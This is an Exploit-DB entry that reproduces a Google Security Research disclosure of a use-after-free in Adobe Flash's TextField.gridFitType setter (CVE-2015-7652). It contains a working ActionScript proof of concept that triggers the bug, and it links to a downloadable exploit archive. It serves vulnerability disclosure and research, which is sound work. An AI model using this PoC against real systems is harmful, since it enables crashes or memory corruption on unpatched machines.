Adobe Flash TextField.gridFitType Setter - Use-After-Free

2015-12-17T00:00:00
ID EDB-ID:39020
Type exploitdb
Reporter Google Security Research
Modified 2015-12-17T00:00:00

Description

Adobe Flash TextField.gridFitType Setter - Use-After-Free. CVE-2015-7652. Dos exploit for windows platform

                                        
                                            Source: https://code.google.com/p/google-security-research/issues/detail?id=559

There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed.

A PoC is as follows:

var toptf = this.createEmptyMovieClip("toptf", 1);


function func(){
	
	toptf.removeMovieClip();	
	trace("here");
	return "none";
}

var o = {toString : func};


var my_format:TextFormat = new TextFormat();
my_format.font = "Times-12";

var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100);
my_text1.text = "this.gridFitType = none";
my_text1.embedFonts = true;
my_text1.antiAliasType = "advanced";
my_text1.gridFitType = o;
my_text1.setTextFormat(my_format); 

var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100);
my_text2.text = "this.gridFitType = advanced";
my_text2.embedFonts = true;
my_text2.antiAliasType = "advanced";
my_text2.gridFitType = "pixel";
my_text2.setTextFormat(my_format); 

var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100);
my_text3.text = "this.gridFitType = subpixel";
my_text3.embedFonts = true;
my_text3.antiAliasType = "advanced";
my_text3.gridFitType = "subpixel";
my_text3.setTextFormat(my_format);

A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39020.zip